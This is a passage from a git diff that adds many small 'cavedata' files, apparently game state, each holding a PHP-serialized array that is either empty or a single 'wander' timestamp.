b/cavedata/10746-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1479920325;} \ No newline at end of file diff --git a/cavedata/10746-2.dat b/cavedata/10746-2.dat new file mode 100644 index 0000000..d4850f5 --- /dev/null +++ b/cavedata/10746-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480234446;} \ No newline at end of file diff --git a/cavedata/10746-3.dat b/cavedata/10746-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10746-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10746-4.dat b/cavedata/10746-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10746-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10755-1.dat b/cavedata/10755-1.dat new file mode 100644 index 0000000..b03d00b --- /dev/null +++ b/cavedata/10755-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1479988993;} \ No newline at end of file diff --git a/cavedata/10755-2.dat b/cavedata/10755-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10755-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10755-3.dat b/cavedata/10755-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10755-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10755-4.dat b/cavedata/10755-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10755-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10768-1.dat b/cavedata/10768-1.dat new file mode 100644 index 0000000..34a9a78 --- /dev/null +++ b/cavedata/10768-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480254489;} \ No newline at end of file diff --git a/cavedata/10768-2.dat b/cavedata/10768-2.dat new file mode 100644 index 0000000..bab2421 --- /dev/null +++ b/cavedata/10768-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480257570;} \ No newline at end of file diff --git a/cavedata/10768-3.dat b/cavedata/10768-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10768-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10768-4.dat b/cavedata/10768-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10768-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10775-1.dat b/cavedata/10775-1.dat new file mode 100644 index 0000000..53cb7d3 --- /dev/null +++ b/cavedata/10775-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482680183;} \ No newline at end of file diff --git a/cavedata/10775-2.dat b/cavedata/10775-2.dat new file mode 100644 index 0000000..c840dd1 --- /dev/null +++ b/cavedata/10775-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482680344;} \ No newline at end of file diff --git a/cavedata/10775-3.dat b/cavedata/10775-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10775-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10775-4.dat b/cavedata/10775-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10775-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10796-1.dat b/cavedata/10796-1.dat new file mode 100644 index 0000000..833af0d --- /dev/null +++ b/cavedata/10796-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1485252707;} \ No newline at end of file diff --git a/cavedata/10796-2.dat b/cavedata/10796-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10796-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10796-3.dat b/cavedata/10796-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10796-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10796-4.dat b/cavedata/10796-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10796-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10804-1.dat b/cavedata/10804-1.dat new file mode 100644 index 0000000..60f59e6 --- /dev/null +++ b/cavedata/10804-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480608714;} \ No newline at end of file diff --git a/cavedata/10804-2.dat b/cavedata/10804-2.dat new file mode 100644 index 0000000..8113cef --- /dev/null +++ b/cavedata/10804-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480611292;} \ No newline at end of file diff --git a/cavedata/10804-3.dat b/cavedata/10804-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10804-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10804-4.dat b/cavedata/10804-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10804-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10832-1.dat b/cavedata/10832-1.dat new file mode 100644 index 0000000..a35398c --- /dev/null +++ b/cavedata/10832-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1479985253;} \ No newline at end of file diff --git a/cavedata/10832-2.dat b/cavedata/10832-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10832-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10832-3.dat b/cavedata/10832-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10832-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10832-4.dat b/cavedata/10832-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10832-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10869-1.dat b/cavedata/10869-1.dat new file mode 100644 index 0000000..a304818 --- /dev/null +++ b/cavedata/10869-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481444235;} \ No newline at end of file diff --git a/cavedata/10869-2.dat b/cavedata/10869-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10869-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10869-3.dat b/cavedata/10869-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10869-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10869-4.dat b/cavedata/10869-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10869-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10871-1.dat b/cavedata/10871-1.dat new file mode 100644 index 0000000..82ea20a --- /dev/null +++ b/cavedata/10871-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480334780;} \ No newline at end of file diff --git a/cavedata/10871-2.dat b/cavedata/10871-2.dat new file mode 100644 index 0000000..60163e4 --- /dev/null +++ b/cavedata/10871-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480334737;} \ No newline at end of file diff --git a/cavedata/10871-3.dat b/cavedata/10871-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10871-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10871-4.dat b/cavedata/10871-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10871-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10872-1.dat b/cavedata/10872-1.dat new file mode 100644 index 0000000..4ddec99 --- /dev/null +++ b/cavedata/10872-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1486147037;} \ No newline at end of file diff --git a/cavedata/10872-2.dat b/cavedata/10872-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10872-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10872-3.dat b/cavedata/10872-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10872-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10872-4.dat b/cavedata/10872-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10872-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10878-1.dat b/cavedata/10878-1.dat new file mode 100644 index 0000000..d849e4f --- /dev/null +++ b/cavedata/10878-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482508949;} \ No newline at end of file diff --git a/cavedata/10878-2.dat b/cavedata/10878-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10878-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10878-3.dat b/cavedata/10878-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10878-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10878-4.dat b/cavedata/10878-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10878-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10880-1.dat b/cavedata/10880-1.dat new file mode 100644 index 0000000..5a8917f --- /dev/null +++ b/cavedata/10880-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480439563;} \ No newline at end of file diff --git a/cavedata/10880-2.dat b/cavedata/10880-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10880-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10880-3.dat b/cavedata/10880-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10880-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10880-4.dat b/cavedata/10880-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10880-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10881-1.dat b/cavedata/10881-1.dat new file mode 100644 index 0000000..d780344 --- /dev/null +++ b/cavedata/10881-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480926133;} \ No newline at end of file diff --git a/cavedata/10881-2.dat b/cavedata/10881-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10881-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10881-3.dat b/cavedata/10881-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10881-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10881-4.dat b/cavedata/10881-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10881-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10882-1.dat b/cavedata/10882-1.dat new file mode 100644 index 0000000..0593abe --- /dev/null +++ b/cavedata/10882-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480665398;} \ No newline at end of file diff --git a/cavedata/10882-2.dat b/cavedata/10882-2.dat new file mode 100644 index 0000000..04fd52d --- /dev/null +++ b/cavedata/10882-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480666848;} \ No newline at end of file diff --git a/cavedata/10882-3.dat b/cavedata/10882-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10882-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10882-4.dat b/cavedata/10882-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10882-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10897-1.dat b/cavedata/10897-1.dat new file mode 100644 index 0000000..5100c3e --- /dev/null +++ b/cavedata/10897-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481357700;} \ No newline at end of file diff --git a/cavedata/10897-2.dat b/cavedata/10897-2.dat new file mode 100644 index 0000000..9c92895 --- /dev/null +++ b/cavedata/10897-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481359794;} \ No newline at end of file diff --git a/cavedata/10897-3.dat b/cavedata/10897-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10897-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10897-4.dat b/cavedata/10897-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10897-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10900-1.dat b/cavedata/10900-1.dat new file mode 100644 index 0000000..e7a48b7 --- /dev/null +++ b/cavedata/10900-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481639489;} \ No newline at end of file diff --git a/cavedata/10900-2.dat b/cavedata/10900-2.dat new file mode 100644 index 0000000..1e44db8 --- /dev/null +++ b/cavedata/10900-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481640706;} \ No newline at end of file diff --git a/cavedata/10900-3.dat b/cavedata/10900-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10900-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10900-4.dat b/cavedata/10900-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10900-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10901-1.dat b/cavedata/10901-1.dat new file mode 100644 index 0000000..83edd67 --- /dev/null +++ b/cavedata/10901-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481790112;} \ No newline at end of file diff --git a/cavedata/10901-2.dat b/cavedata/10901-2.dat new file mode 100644 index 0000000..030b3ad --- /dev/null +++ b/cavedata/10901-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481792345;} \ No newline at end of file diff --git a/cavedata/10901-3.dat b/cavedata/10901-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10901-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10901-4.dat b/cavedata/10901-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10901-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10906-1.dat b/cavedata/10906-1.dat new file mode 100644 index 0000000..380b06c --- /dev/null +++ b/cavedata/10906-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480538665;} \ No newline at end of file diff --git a/cavedata/10906-2.dat b/cavedata/10906-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10906-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10906-3.dat b/cavedata/10906-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10906-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10906-4.dat b/cavedata/10906-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10906-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10910-1.dat b/cavedata/10910-1.dat new file mode 100644 index 0000000..203b495 --- /dev/null +++ b/cavedata/10910-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481346909;} \ No newline at end of file diff --git a/cavedata/10910-2.dat b/cavedata/10910-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10910-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10910-3.dat b/cavedata/10910-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10910-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10910-4.dat b/cavedata/10910-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10910-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10914-1.dat b/cavedata/10914-1.dat new file mode 100644 index 0000000..2a55ce2 --- /dev/null +++ b/cavedata/10914-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480841598;} \ No newline at end of file diff --git a/cavedata/10914-2.dat b/cavedata/10914-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10914-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10914-3.dat b/cavedata/10914-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10914-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10914-4.dat b/cavedata/10914-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10914-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10917-1.dat b/cavedata/10917-1.dat new file mode 100644 index 0000000..413ca02 --- /dev/null +++ b/cavedata/10917-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480605744;} \ No newline at end of file diff --git a/cavedata/10917-2.dat b/cavedata/10917-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10917-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10917-3.dat b/cavedata/10917-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10917-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10917-4.dat b/cavedata/10917-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10917-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10930-1.dat b/cavedata/10930-1.dat new file mode 100644 index 0000000..5fe9972 --- /dev/null +++ b/cavedata/10930-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1480722018;} \ No newline at end of file diff --git a/cavedata/10930-2.dat b/cavedata/10930-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10930-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10930-3.dat b/cavedata/10930-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10930-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10930-4.dat b/cavedata/10930-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10930-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10933-1.dat b/cavedata/10933-1.dat new file mode 100644 index 0000000..08145e8 --- /dev/null +++ b/cavedata/10933-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481053244;} \ No newline at end of file diff --git a/cavedata/10933-2.dat b/cavedata/10933-2.dat new file mode 100644 index 0000000..dc420e8 --- /dev/null +++ b/cavedata/10933-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481054530;} \ No newline at end of file diff --git a/cavedata/10933-3.dat b/cavedata/10933-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10933-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10933-4.dat b/cavedata/10933-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10933-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10935-1.dat b/cavedata/10935-1.dat new file mode 100644 index 0000000..7a7b40e --- /dev/null +++ b/cavedata/10935-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481241959;} \ No newline at end of file diff --git a/cavedata/10935-2.dat b/cavedata/10935-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10935-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10935-3.dat b/cavedata/10935-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10935-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10935-4.dat b/cavedata/10935-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10935-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10936-1.dat b/cavedata/10936-1.dat new file mode 100644 index 0000000..da00130 --- /dev/null +++ b/cavedata/10936-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482996883;} \ No newline at end of file diff --git a/cavedata/10936-2.dat b/cavedata/10936-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10936-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10936-3.dat b/cavedata/10936-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10936-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10936-4.dat b/cavedata/10936-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10936-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10939-1.dat b/cavedata/10939-1.dat new file mode 100644 index 0000000..76f12eb --- /dev/null +++ b/cavedata/10939-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481351682;} \ No newline at end of file diff --git a/cavedata/10939-2.dat b/cavedata/10939-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10939-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10939-3.dat b/cavedata/10939-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10939-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10939-4.dat b/cavedata/10939-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10939-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10947-1.dat b/cavedata/10947-1.dat new file mode 100644 index 0000000..6160b4c --- /dev/null +++ b/cavedata/10947-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1483099345;} \ No newline at end of file diff --git a/cavedata/10947-2.dat b/cavedata/10947-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10947-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10947-3.dat b/cavedata/10947-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10947-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10947-4.dat b/cavedata/10947-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10947-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10954-1.dat b/cavedata/10954-1.dat new file mode 100644 index 0000000..027f893 --- /dev/null +++ b/cavedata/10954-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481798273;} \ No newline at end of file diff --git a/cavedata/10954-2.dat b/cavedata/10954-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10954-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10954-3.dat b/cavedata/10954-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10954-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10954-4.dat b/cavedata/10954-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10954-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10956-1.dat b/cavedata/10956-1.dat new file mode 100644 index 0000000..bb35724 --- /dev/null +++ b/cavedata/10956-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481485910;} \ No newline at end of file diff --git a/cavedata/10956-2.dat b/cavedata/10956-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10956-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10956-3.dat b/cavedata/10956-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10956-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10956-4.dat b/cavedata/10956-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10956-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11035-1.dat b/cavedata/11035-1.dat new file mode 100644 index 0000000..11ab9a5 --- /dev/null +++ b/cavedata/11035-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482265358;} \ No newline at end of file diff --git a/cavedata/11035-2.dat b/cavedata/11035-2.dat new file mode 100644 index 0000000..8f1f846 --- /dev/null +++ b/cavedata/11035-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482265594;} \ No newline at end of file diff --git a/cavedata/11035-3.dat b/cavedata/11035-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11035-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11035-4.dat b/cavedata/11035-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11035-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11039-1.dat b/cavedata/11039-1.dat new file mode 100644 index 0000000..6075ab6 --- /dev/null +++ b/cavedata/11039-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482706795;} \ No newline at end of file diff --git a/cavedata/11039-2.dat b/cavedata/11039-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11039-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11039-3.dat b/cavedata/11039-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11039-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11039-4.dat b/cavedata/11039-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11039-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11044-1.dat b/cavedata/11044-1.dat new file mode 100644 index 0000000..86d360f --- /dev/null +++ b/cavedata/11044-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482610136;} \ No newline at end of file diff --git a/cavedata/11044-2.dat b/cavedata/11044-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11044-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11044-3.dat b/cavedata/11044-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11044-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11044-4.dat b/cavedata/11044-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11044-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11045-1.dat b/cavedata/11045-1.dat new file mode 100644 index 0000000..6a6945f --- /dev/null +++ b/cavedata/11045-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482186979;} \ No newline at end of file diff --git a/cavedata/11045-2.dat b/cavedata/11045-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11045-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11045-3.dat b/cavedata/11045-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11045-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11045-4.dat b/cavedata/11045-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11045-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11065-1.dat b/cavedata/11065-1.dat new file mode 100644 index 0000000..72df742 --- /dev/null +++ b/cavedata/11065-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482500018;} \ No newline at end of file diff --git a/cavedata/11065-2.dat b/cavedata/11065-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11065-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11065-3.dat b/cavedata/11065-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11065-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11065-4.dat b/cavedata/11065-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/11065-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/11085-1.dat b/cavedata/11085-1.dat new file mode 100644 index 0000000..b31b871 --- /dev/null +++ b/cavedata/11085-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1482577310;} \ No newline at end of file diff --git a/cavedata/11085-2.dat b/cavedata/11085-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ 